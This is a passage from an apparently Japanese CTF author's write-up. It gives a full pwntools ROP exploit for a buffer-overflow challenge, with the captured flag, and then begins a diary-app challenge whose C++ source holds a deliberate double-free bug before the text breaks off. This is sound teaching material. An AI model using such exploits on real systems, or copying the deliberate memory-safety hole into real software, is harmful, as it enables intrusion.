<p>checksec&#x3092;&#x3059;&#x308B;&#x3068;canary&#x304C;&#x5B58;&#x5728;&#x305B;&#x305A;&#x3001;&#x9577;&#x3044;&#x6587;&#x5B57;&#x5217;&#x3092;&#x5165;&#x529B;&#x3059;&#x308B;&#x3068;&#x30AF;&#x30E9;&#x30C3;&#x30B7;&#x30E5;&#x3059;&#x308B;&#x306E;&#x3067;&#x30D0;&#x30C3;&#x30D5;&#x30A1;&#x30AA;&#x30FC;&#x30D0;&#x30FC;&#x30D5;&#x30ED;&#x30FC;&#x304C;&#x3042;&#x308A;&#x305D;&#x3046;&#x3060;&#x3068;&#x308F;&#x304B;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<p>&#x3055;&#x3066;&#x3001;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x3092;&#x8AAD;&#x3093;&#x3067;&#x3044;&#x304F;&#x3068;<code>win</code>&#x95A2;&#x6570;&#x304C;&#x3042;&#x308B;&#x3053;&#x3068;&#x304C;&#x308F;&#x304B;&#x308A;&#x307E;&#x3059;&#x3002;&#x305D;&#x306E;&#x6700;&#x521D;&#x306E;&#x65B9;&#x3092;&#x8AAD;&#x3080;&#x3068;&#x3053;&#x306E;&#x3088;&#x3046;&#x306A;&#x30B3;&#x30FC;&#x30C9;&#x306B;&#x906D;&#x9047;&#x3057;&#x307E;&#x3059;&#x3002;</p>
<pre class="blog-code"><code class="lang-x86asm">00000000004013f8 &lt;win&gt;:
&#xA0; 4013f8: f3 0f 1e fa &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; endbr64
&#xA0; 4013fc: <span class="hljs-number">55</span> &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0;<span class="hljs-keyword">push</span> &#xA0; <span class="hljs-built_in">rbp</span>
&#xA0; 4013fd: <span class="hljs-number">48</span> <span class="hljs-number">89</span> e5 &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0;<span class="hljs-keyword">mov</span> &#xA0; &#xA0;<span class="hljs-built_in">rbp</span>,<span class="hljs-built_in">rsp</span>
&#xA0; <span class="hljs-number">401400</span>: <span class="hljs-number">48</span> <span class="hljs-number">81</span> ec <span class="hljs-number">40</span> <span class="hljs-number">01</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> &#xA0;<span class="hljs-keyword">sub</span> &#xA0; &#xA0;<span class="hljs-built_in">rsp</span>,<span class="hljs-number">0x140</span>
&#xA0; <span class="hljs-number">401407</span>: 4c <span class="hljs-number">89</span> b5 d8 fe ff ff &#xA0;<span class="hljs-keyword">mov</span> &#xA0; &#xA0;<span class="hljs-built_in">QWORD</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rbp</span>-<span class="hljs-number">0x128</span>],<span class="hljs-built_in">r14</span>
&#xA0; 40140e: <span class="hljs-number">48</span> <span class="hljs-number">89</span> <span class="hljs-number">9d</span> d0 fe ff ff &#xA0;<span class="hljs-keyword">mov</span> &#xA0; &#xA0;<span class="hljs-built_in">QWORD</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rbp</span>-<span class="hljs-number">0x130</span>],<span class="hljs-built_in">rbx</span>
&#xA0; <span class="hljs-number">401415</span>: 4c <span class="hljs-number">89</span> a5 c8 fe ff ff &#xA0;<span class="hljs-keyword">mov</span> &#xA0; &#xA0;<span class="hljs-built_in">QWORD</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rbp</span>-<span class="hljs-number">0x138</span>],<span class="hljs-built_in">r12</span>
&#xA0; 40141c: <span class="hljs-number">48</span> b8 <span class="hljs-number">76</span> <span class="hljs-number">68</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> &#xA0;movabs <span class="hljs-built_in">rax</span>,<span class="hljs-number">0x7a0000006876</span>
&#xA0; <span class="hljs-number">401423</span>: 7a <span class="hljs-number">00</span> <span class="hljs-number">00</span>
&#xA0; <span class="hljs-number">401426</span>: <span class="hljs-number">48</span> <span class="hljs-number">39</span> <span class="hljs-number">85</span> d8 fe ff ff &#xA0;<span class="hljs-keyword">cmp</span> &#xA0; &#xA0;<span class="hljs-built_in">QWORD</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rbp</span>-<span class="hljs-number">0x128</span>],<span class="hljs-built_in">rax</span>
&#xA0; <span class="hljs-number">40142d</span>: <span class="hljs-number">75</span> <span class="hljs-number">26</span> &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">jne</span> &#xA0; &#xA0;<span class="hljs-number">401455</span> &lt;win+<span class="hljs-number">0x5d</span>&gt;
&#xA0; 40142f: <span class="hljs-number">48</span> b8 <span class="hljs-number">00</span> <span class="hljs-number">40</span> <span class="hljs-number">08</span> <span class="hljs-number">00</span> d0 &#xA0;movabs <span class="hljs-built_in">rax</span>,<span class="hljs-number">0x3b001d000084000</span>
&#xA0; <span class="hljs-number">401436</span>: <span class="hljs-number">01</span> b0 <span class="hljs-number">03</span>
&#xA0; <span class="hljs-number">401439</span>: <span class="hljs-number">48</span> <span class="hljs-number">39</span> <span class="hljs-number">85</span> d0 fe ff ff &#xA0;<span class="hljs-keyword">cmp</span> &#xA0; &#xA0;<span class="hljs-built_in">QWORD</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rbp</span>-<span class="hljs-number">0x130</span>],<span class="hljs-built_in">rax</span>
&#xA0; <span class="hljs-number">401440</span>: <span class="hljs-number">75</span> <span class="hljs-number">13</span> &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">jne</span> &#xA0; &#xA0;<span class="hljs-number">401455</span> &lt;win+<span class="hljs-number">0x5d</span>&gt;
&#xA0; <span class="hljs-number">401442</span>: <span class="hljs-number">48</span> b8 <span class="hljs-number">40</span> 2c <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">07</span> &#xA0;movabs <span class="hljs-built_in">rax</span>,<span class="hljs-number">0x700002c40</span>
&#xA0; <span class="hljs-number">401449</span>: <span class="hljs-number">00</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span>
&#xA0; 40144c: <span class="hljs-number">48</span> <span class="hljs-number">39</span> <span class="hljs-number">85</span> c8 fe ff ff &#xA0;<span class="hljs-keyword">cmp</span> &#xA0; &#xA0;<span class="hljs-built_in">QWORD</span> <span class="hljs-built_in">PTR</span> [<span class="hljs-built_in">rbp</span>-<span class="hljs-number">0x138</span>],<span class="hljs-built_in">rax</span>
&#xA0; <span class="hljs-number">401453</span>: <span class="hljs-number">74</span> <span class="hljs-number">14</span> &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">je</span> &#xA0; &#xA0; <span class="hljs-number">401469</span> &lt;win+<span class="hljs-number">0x71</span>&gt;
&#xA0; <span class="hljs-number">401455</span>: <span class="hljs-number">48</span> <span class="hljs-number">8d</span> <span class="hljs-number">05</span> a8 <span class="hljs-number">0b</span> <span class="hljs-number">00</span> <span class="hljs-number">00</span> &#xA0;<span class="hljs-keyword">lea</span> &#xA0; &#xA0;<span class="hljs-built_in">rax</span>,[<span class="hljs-built_in">rip</span>+<span class="hljs-number">0xba8</span>] &#xA0; &#xA0; &#xA0; &#xA0;# <span class="hljs-number">402004</span> &lt;_IO_stdin_used+<span class="hljs-number">0x4</span>&gt;
&#xA0; 40145c: <span class="hljs-number">48</span> <span class="hljs-number">89</span> c7 &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0;<span class="hljs-keyword">mov</span> &#xA0; &#xA0;<span class="hljs-built_in">rdi</span>,<span class="hljs-built_in">rax</span>
&#xA0; 40145f: e8 4c fc ff ff &#xA0; &#xA0; &#xA0; &#xA0;<span class="hljs-keyword">call</span> &#xA0; 4010b0 &lt;puts@plt&gt;
</code></pre>
<p>&#x3053;&#x308C;&#x3088;&#x308A;&#x3001;</p>
<ul>
<li><code>r14</code>&#x306B;<code>0x7a0000006876</code></li>
<li><code>rbx</code>&#x306B;<code>0x3b001d000084000</code></li>
<li><code>r12</code>&#x306B;<code>0x700002c40</code></li>
</ul>
<p>&#x3092;&#x5165;&#x308C;&#x305F;&#x72B6;&#x614B;&#x3067;<code>win</code>&#x3092;&#x547C;&#x3073;&#x51FA;&#x305B;&#x3070;&#x30C1;&#x30A7;&#x30C3;&#x30AF;&#x3092;&#x901A;&#x904E;&#x3059;&#x308B;&#x3053;&#x3068;&#x304C;&#x308F;&#x304B;&#x308A;&#x307E;&#x3059;&#x3002;&#x305D;&#x306E;&#x5F8C;&#x3082;&#x51E6;&#x7406;&#x306F;&#x7D9A;&#x304D;&#x307E;&#x3059;&#x304C;&#x3001;&#x3053;&#x308C;&#x306F;&#x5165;&#x529B;&#x3055;&#x308C;&#x305F;3&#x3064;&#x306E;&#x5024;&#x304B;&#x3089;&quot;flag.txt&quot;&#x3092;&#x5FA9;&#x5143;&#x3057;&#x3066;&#x8AAD;&#x307F;&#x3060;&#x3059;&#x51E6;&#x7406;&#x3092;&#x884C;&#x3063;&#x3066;&#x3044;&#x307E;&#x3059;&#x3002;</p>
<p>&#x3055;&#x3066;&#x3001;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x3092;&#x898B;&#x308B;&#x3068;&#x3059;&#x3050;&#x4E0A;&#x306B;&#x3053;&#x306E;&#x3088;&#x3046;&#x306A;&#x30B3;&#x30FC;&#x30C9;&#x304C;&#x3042;&#x308A;&#x307E;&#x3059;&#x3002;</p>
<pre class="blog-code"><code class="lang-x86asm">  4013ed:	5b                   	<span class="hljs-keyword">pop</span>    <span class="hljs-built_in">rbx</span>
  4013ee:	<span class="hljs-number">5d</span>                   	<span class="hljs-keyword">pop</span>    <span class="hljs-built_in">rbp</span>
  4013ef:	<span class="hljs-number">41</span> 5c                	<span class="hljs-keyword">pop</span>    <span class="hljs-built_in">r12</span>
  4013f1:	<span class="hljs-number">41</span> <span class="hljs-number">5d</span>                	<span class="hljs-keyword">pop</span>    <span class="hljs-built_in">r13</span>
  4013f3:	<span class="hljs-number">41</span> 5e                	<span class="hljs-keyword">pop</span>    <span class="hljs-built_in">r14</span>
  4013f5:	<span class="hljs-number">41</span> 5f                	<span class="hljs-keyword">pop</span>    <span class="hljs-built_in">r15</span>
  4013f7:	c3                   	<span class="hljs-keyword">ret</span>
</code></pre>
<p>&#x3053;&#x306E;gadget&#x3092;&#x4F7F;&#x3046;&#x3053;&#x3068;&#x3067;&#x3001;&#x8981;&#x6C42;&#x3055;&#x308C;&#x305F;&#x30EC;&#x30B8;&#x30B9;&#x30BF;&#x306B;&#x5024;&#x3092;&#x5165;&#x308C;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x305D;&#x3046;&#x3067;&#x3059;&#x3002;</p>
<pre class="blog-code"><code class="lang-python"><span class="hljs-keyword">from</span> pwn <span class="hljs-keyword">import</span> *
<span class="hljs-keyword">import</span> sys

conn = remote(<span class="hljs-string">&apos;133.88.122.244&apos;</span>, <span class="hljs-number">99999</span>)
elf = ELF(<span class="hljs-string">&apos;./coding-agent&apos;</span>)

payload = <span class="hljs-string">b&apos;A&apos;</span> * <span class="hljs-number">0x28</span>
payload += p64(<span class="hljs-number">0x4013ed</span>)
payload += p64(<span class="hljs-number">0x3b001d000084000</span>) <span class="hljs-comment"># rbx</span>
payload += p64(<span class="hljs-number">0x0</span>)               <span class="hljs-comment"># rbp</span>
payload += p64(<span class="hljs-number">0x700002c40</span>)       <span class="hljs-comment"># r12</span>
payload += p64(<span class="hljs-number">0x0</span>)               <span class="hljs-comment"># r13</span>
payload += p64(<span class="hljs-number">0x7a0000006876</span>)    <span class="hljs-comment"># r14</span>
payload += p64(<span class="hljs-number">0x0</span>)               <span class="hljs-comment"># r15</span>
payload += p64(elf.symbols[<span class="hljs-string">&apos;win&apos;</span>])

conn.sendlineafter(<span class="hljs-string">b&apos;&gt; &apos;</span>, payload)
conn.interactive()
</code></pre>
<pre class="blog-code"><code class="lang-undefined">CPCTF{u53_sc4nf_w17h_s1z3_0f_buFf3r5}
</code></pre>
<h3 id="%E6%84%9F%E6%83%B3%E3%81%AA%E3%81%A9">&#x611F;&#x60F3;&#x306A;&#x3069;</h3>
<p>&#x307B;&#x3093;&#x306E;&#x5C11;&#x3057;&#x3060;&#x3051;&#x3072;&#x306D;&#x3063;&#x305F;ROP&#x3067;&#x3059;&#x3002;&#x30C7;&#x30B3;&#x30F3;&#x30D1;&#x30A4;&#x30E9;&#x3088;&#x308A;&#x30A2;&#x30BB;&#x30F3;&#x30D6;&#x30EA;&#x3092;&#x8AAD;&#x3093;&#x3060;&#x65B9;&#x304C;&#x308F;&#x304B;&#x308A;&#x3084;&#x3059;&#x3044;&#x5834;&#x9762;&#x3082;&#x3042;&#x308B;&#x3068;&#x3044;&#x3046;&#x3053;&#x3068;&#x3092;&#x4F1D;&#x3048;&#x3088;&#x3046;&#x3068;&#x601D;&#x3063;&#x3066;&#x4F5C;&#x308A;&#x307E;&#x3057;&#x305F;&#x3002;</p>
<h1 id="pwn-lv5-diary">[Pwn] Lv.5 diary</h1>
<h3 id="%E5%95%8F%E9%A1%8C%E6%A6%82%E8%A6%81">&#x554F;&#x984C;&#x6982;&#x8981;</h3>
<p>&#x65E5;&#x8A18;&#x3092;&#x7BA1;&#x7406;&#x3059;&#x308B;&#x30A2;&#x30D7;&#x30EA;&#x30B1;&#x30FC;&#x30B7;&#x30E7;&#x30F3;&#x3067;&#x3059;&#x3002;<br>
&#x3053;&#x306E;&#x3088;&#x3046;&#x306A;&#x30BD;&#x30FC;&#x30B9;&#x30B3;&#x30FC;&#x30C9;&#x304C;&#x4E0E;&#x3048;&#x3089;&#x308C;&#x307E;&#x3059;&#x3002;</p>
<pre class="blog-code"><code class="lang-cpp"><span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;iostream&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;string&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;vector&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-keyword">include</span> <span class="hljs-string">&lt;stdexcept&gt;</span></span>
  
<span class="hljs-keyword">class</span> <span class="hljs-title class_">DiaryImpl</span> {
<span class="hljs-keyword">public</span>:
&#xA0; &#xA0; <span class="hljs-built_in">DiaryImpl</span>(<span class="hljs-type">const</span> std::string &amp;content, <span class="hljs-type">int</span> m = <span class="hljs-number">0</span>, <span class="hljs-type">int</span> d = <span class="hljs-number">0</span>)
&#xA0; &#xA0; &#xA0; &#xA0; : <span class="hljs-built_in">content</span>(content), <span class="hljs-built_in">month</span>(m), <span class="hljs-built_in">day</span>(d)
&#xA0; &#xA0; {
&#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">if</span> (m == <span class="hljs-number">0</span> &amp;&amp; d == <span class="hljs-number">0</span>) {
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">throw</span> std::<span class="hljs-built_in">runtime_error</span>(<span class="hljs-string">&quot;Invalid date&quot;</span>);
&#xA0; &#xA0; &#xA0; &#xA0; }
  
&#xA0; &#xA0; &#xA0; &#xA0; lines = <span class="hljs-number">1</span>;
&#xA0; &#xA0; &#xA0; &#xA0; words = <span class="hljs-number">0</span>;
&#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-type">bool</span> in_word = <span class="hljs-literal">false</span>;
&#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">for</span> (<span class="hljs-type">char</span> c : content) {
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">if</span> (c == <span class="hljs-string">&apos;\n&apos;</span>)
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; lines++;
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">if</span> (c == <span class="hljs-string">&apos; &apos;</span> || c == <span class="hljs-string">&apos;\n&apos;</span> || c == <span class="hljs-string">&apos;\t&apos;</span>) {
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">if</span> (in_word) {
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; words++;
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; in_word = <span class="hljs-literal">false</span>;
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; }
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; } <span class="hljs-keyword">else</span> {
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; in_word = <span class="hljs-literal">true</span>;
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; }
&#xA0; &#xA0; &#xA0; &#xA0; }
&#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">if</span> (in_word) {
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; words++;
&#xA0; &#xA0; &#xA0; &#xA0; }
&#xA0; &#xA0; }
&#xA0; &#xA0; ~<span class="hljs-built_in">DiaryImpl</span>() = <span class="hljs-keyword">default</span>;
  
&#xA0; &#xA0; <span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">show</span><span class="hljs-params">()</span> </span>{
&#xA0; &#xA0; &#xA0; &#xA0; std::cout &lt;&lt; content &lt;&lt; <span class="hljs-string">&quot;\n=======================\n&quot;</span> &lt;&lt; words &lt;&lt; <span class="hljs-string">&quot; words, &quot;</span> &lt;&lt; lines &lt;&lt; <span class="hljs-string">&quot; lines&quot;</span> &lt;&lt; std::endl;
&#xA0; &#xA0; }
  
&#xA0; &#xA0; <span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">show_summary</span><span class="hljs-params">()</span> </span>{
&#xA0; &#xA0; &#xA0; &#xA0; std::cout &lt;&lt; <span class="hljs-string">&quot;Diary - &quot;</span> &lt;&lt; month &lt;&lt; <span class="hljs-string">&quot;/&quot;</span> &lt;&lt; day &lt;&lt; std::endl;
&#xA0; &#xA0; }
  
&#xA0; &#xA0; <span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">to_upper</span><span class="hljs-params">()</span> </span>{
&#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">for</span> (<span class="hljs-type">char</span> &amp;c : content) {
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; c = std::<span class="hljs-built_in">toupper</span>(c);
&#xA0; &#xA0; &#xA0; &#xA0; }
&#xA0; &#xA0; }
  
&#xA0; &#xA0; <span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">set_date</span><span class="hljs-params">(<span class="hljs-type">int</span> m, <span class="hljs-type">int</span> d)</span> </span>{
&#xA0; &#xA0; &#xA0; &#xA0; month = m;
&#xA0; &#xA0; &#xA0; &#xA0; day = d;
&#xA0; &#xA0; }
  
&#xA0; &#xA0; <span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">set_content</span><span class="hljs-params">(<span class="hljs-type">const</span> std::string &amp;new_content)</span> </span>{ content = new_content; }
  
&#xA0; &#xA0; <span class="hljs-function"><span class="hljs-type">size_t</span> <span class="hljs-title">size</span><span class="hljs-params">()</span> <span class="hljs-type">const</span> </span>{ <span class="hljs-keyword">return</span> content.<span class="hljs-built_in">size</span>(); }
  
<span class="hljs-keyword">private</span>:
&#xA0; &#xA0; <span class="hljs-type">int</span> month;
&#xA0; &#xA0; <span class="hljs-type">int</span> day;
&#xA0; &#xA0; <span class="hljs-type">int</span> lines;
&#xA0; &#xA0; <span class="hljs-type">int</span> words;
&#xA0; &#xA0; std::string content;
};
  
<span class="hljs-keyword">class</span> <span class="hljs-title class_">Diary</span> {
<span class="hljs-keyword">public</span>:
&#xA0; &#xA0; <span class="hljs-built_in">Diary</span>(<span class="hljs-type">const</span> std::string &amp;content, <span class="hljs-type">int</span> month = <span class="hljs-number">0</span>, <span class="hljs-type">int</span> day = <span class="hljs-number">0</span>) {
&#xA0; &#xA0; &#xA0; &#xA0; impl = <span class="hljs-keyword">new</span> <span class="hljs-built_in">DiaryImpl</span>(content, month, day);
&#xA0; &#xA0; }
  
&#xA0; &#xA0; ~<span class="hljs-built_in">Diary</span>() { <span class="hljs-keyword">delete</span> impl; }
  
&#xA0; &#xA0; <span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">show</span><span class="hljs-params">()</span> </span>{ impl-&gt;<span class="hljs-built_in">show</span>(); }
  
&#xA0; &#xA0; <span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">show_summary</span><span class="hljs-params">()</span> </span>{ impl-&gt;<span class="hljs-built_in">show_summary</span>(); }
  
&#xA0; &#xA0; <span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">to_upper</span><span class="hljs-params">()</span> </span>{ impl-&gt;<span class="hljs-built_in">to_upper</span>(); }
  
&#xA0; &#xA0; <span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">update</span><span class="hljs-params">(<span class="hljs-type">const</span> std::string &amp;new_content, <span class="hljs-type">int</span> month, <span class="hljs-type">int</span> day)</span> </span>{
&#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">if</span> (new_content != <span class="hljs-string">&quot;&quot;</span>) {
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; impl-&gt;<span class="hljs-built_in">set_content</span>(new_content);
&#xA0; &#xA0; &#xA0; &#xA0; }
&#xA0; &#xA0; &#xA0; &#xA0; impl-&gt;<span class="hljs-built_in">set_date</span>(month, day);
&#xA0; &#xA0; }
  
&#xA0; &#xA0; <span class="hljs-function"><span class="hljs-type">size_t</span> <span class="hljs-title">size</span><span class="hljs-params">()</span> <span class="hljs-type">const</span> </span>{ <span class="hljs-keyword">return</span> impl-&gt;<span class="hljs-built_in">size</span>(); }
  
<span class="hljs-keyword">private</span>:
&#xA0; &#xA0; DiaryImpl *impl;
};
  
<span class="hljs-function"><span class="hljs-keyword">inline</span> std::string <span class="hljs-title">user_input</span><span class="hljs-params">(<span class="hljs-type">const</span> <span class="hljs-type">char</span> *prompt)</span> </span>{
&#xA0; &#xA0; std::string input;
&#xA0; &#xA0; std::cout &lt;&lt; prompt;
&#xA0; &#xA0; std::cout.<span class="hljs-built_in">flush</span>();
  
&#xA0; &#xA0; std::cin.<span class="hljs-built_in">ignore</span>();
  
&#xA0; &#xA0; <span class="hljs-type">char</span> *line = <span class="hljs-literal">nullptr</span>;
&#xA0; &#xA0; <span class="hljs-type">size_t</span> len = <span class="hljs-number">0</span>;
&#xA0; &#xA0; <span class="hljs-type">ssize_t</span> read = <span class="hljs-built_in">getline</span>(&amp;line, &amp;len, stdin);
&#xA0; &#xA0; <span class="hljs-keyword">if</span> (read &lt; <span class="hljs-number">0</span>) {
&#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-built_in">exit</span>(<span class="hljs-number">1</span>);
&#xA0; &#xA0; }
  
&#xA0; &#xA0; <span class="hljs-keyword">if</span> (line[read - <span class="hljs-number">1</span>] == <span class="hljs-string">&apos;\n&apos;</span>) {
&#xA0; &#xA0; &#xA0; &#xA0; line[read - <span class="hljs-number">1</span>] = <span class="hljs-string">&apos;\0&apos;</span>;
&#xA0; &#xA0; }
  
&#xA0; &#xA0; <span class="hljs-keyword">return</span> std::<span class="hljs-built_in">string</span>(line);
}
  
std::vector&lt;Diary&gt; diaries;
  
<span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">create</span><span class="hljs-params">()</span> </span>{
&#xA0; &#xA0; <span class="hljs-type">int</span> month, day;
&#xA0; &#xA0; std::cout &lt;&lt; <span class="hljs-string">&quot;Enter date (month day): &quot;</span>;
&#xA0; &#xA0; std::cout.<span class="hljs-built_in">flush</span>();
&#xA0; &#xA0; std::cin &gt;&gt; month &gt;&gt; day;
  
&#xA0; &#xA0; std::string content = <span class="hljs-built_in">user_input</span>(<span class="hljs-string">&quot;Enter diary content: &quot;</span>);
  
&#xA0; &#xA0; diaries.<span class="hljs-built_in">emplace_back</span>(content, month, day);
}
  
<span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">show_with_emphasis</span><span class="hljs-params">(Diary diary)</span> </span>{
&#xA0; &#xA0; diary.<span class="hljs-built_in">to_upper</span>();
&#xA0; &#xA0; diary.<span class="hljs-built_in">show</span>();
}
  
<span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">show</span><span class="hljs-params">(<span class="hljs-type">bool</span> formatted = <span class="hljs-literal">false</span>)</span> </span>{
&#xA0; &#xA0; <span class="hljs-type">int</span> index;
&#xA0; &#xA0; std::cout &lt;&lt; <span class="hljs-string">&quot;Enter diary index: &quot;</span>;
&#xA0; &#xA0; std::cout.<span class="hljs-built_in">flush</span>();
&#xA0; &#xA0; std::cin &gt;&gt; index;
  
&#xA0; &#xA0; <span class="hljs-keyword">if</span> (index &gt;= <span class="hljs-number">0</span> &amp;&amp; index &lt; diaries.<span class="hljs-built_in">size</span>()) {
&#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-keyword">if</span> (formatted) {
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-built_in">show_with_emphasis</span>(diaries[index]);
&#xA0; &#xA0; &#xA0; &#xA0; } <span class="hljs-keyword">else</span> {
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; diaries[index].<span class="hljs-built_in">show</span>();
&#xA0; &#xA0; &#xA0; &#xA0; }
&#xA0; &#xA0; } <span class="hljs-keyword">else</span> {
&#xA0; &#xA0; &#xA0; &#xA0; std::cout &lt;&lt; <span class="hljs-string">&quot;Invalid index.&quot;</span> &lt;&lt; std::endl;
&#xA0; &#xA0; }
}
  
<span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">update</span><span class="hljs-params">()</span> </span>{
&#xA0; &#xA0; <span class="hljs-type">int</span> index;
&#xA0; &#xA0; std::cout &lt;&lt; <span class="hljs-string">&quot;Enter diary index to update: &quot;</span>;
&#xA0; &#xA0; std::cout.<span class="hljs-built_in">flush</span>();
&#xA0; &#xA0; std::cin &gt;&gt; index;
  
&#xA0; &#xA0; <span class="hljs-keyword">if</span> (index &gt;= <span class="hljs-number">0</span> &amp;&amp; index &lt; diaries.<span class="hljs-built_in">size</span>()) {
&#xA0; &#xA0; &#xA0; &#xA0; <span class="hljs-type">int</span> month, day;
&#xA0; &#xA0; &#xA0; &#xA0; std::cout &lt;&lt; <span class="hljs-string">&quot;Enter new date (month day): &quot;</span>;
&#xA0; &#xA0; &#xA0; &#xA0; std::cout.<span class="hljs-built_in">flush</span>();
&#xA0; &#xA0; &#xA0; &#xA0; std::cin &gt;&gt; month &gt;&gt; day;
  
&#xA0; &#xA0; &#xA0; &#xA0; std::string content = <span class="hljs-built_in">user_input</span>(<span class="hljs-string">&quot;Enter new diary content: &quot;</span>);
  
&#xA0; &#xA0; &#xA0; &#xA0; diaries[index].<span class="hljs-built_in">update</span>(content, month, day);
&#xA0; &#xA0; &#xA0; &#xA0; std::cout &lt;&lt; <span class="hljs-string">&quot;Diary updated.&quot;</span> &lt;&lt; std::endl;
&#xA0; &#xA0; } <span class="hljs-keyword">else</span> {
&#xA0; &#xA0; &#xA0; &#xA0; std::cout &lt;&lt; <span class="hljs-string">&quot;Invalid index.&quot;</span> &lt;&lt; std::endl;
&#xA0; &#xA0; }
}
  
<span class="hljs-function"><span class="hljs-type">void</span> <span class="hljs-title">list_diaries</span><span class="hljs-params">()</span> </span>{
&#xA0; &#xA0; std::cout &lt;&lt; <span class="hljs-string">&quot;Diaries:&quot;</span> &lt;&lt; std::endl;
&#xA0; &#xA0; <span class="hljs-keyword">for</span> (<span class="hljs-type">size_t</span> i = <span class="hljs-number">0</span>; i &lt; diaries.<span class="hljs-built_in">size</span>(); ++i) {
&#xA0; &#xA0; &#xA0; &#xA0; std::cout &lt;&lt; i &lt;&lt; <span class="hljs-string">&quot;: &quot;</span>;
&#xA0; &#xA0; &#xA0; &#xA0; diaries[i].<span class="hljs-built_in">show_summary</span>();
&#xA0; &#xA0; }
&#xA0; &#xA0; std::cout.<span class="hljs-built_in">flush</span>();
}
  
<span class="hljs-function"><span class="hljs-type">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span> </span>{
&#xA0; &#xA0; diaries.<span class="hljs-built_in">reserve</span>(<span class="hljs-number">64</span>);
  
&#xA0; &#xA0; <span class="hljs-keyword">while</span> (<span class="hljs-literal">true</span>) {
&#xA0; &#xA0; &#xA0; &#xA0; std::cout &lt;&lt; <span class="hljs-string">&quot;1. Create Diary\n&quot;</span>
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0;<span class="hljs-string">&quot;2. Show Diary\n&quot;</span>
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0;<span class="hljs-string">&quot;3. Show Diary with Emphasis\n&quot;</span>
&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0;<span class="hljs-string">&quot;4. Update Diary\n&quot;</span>
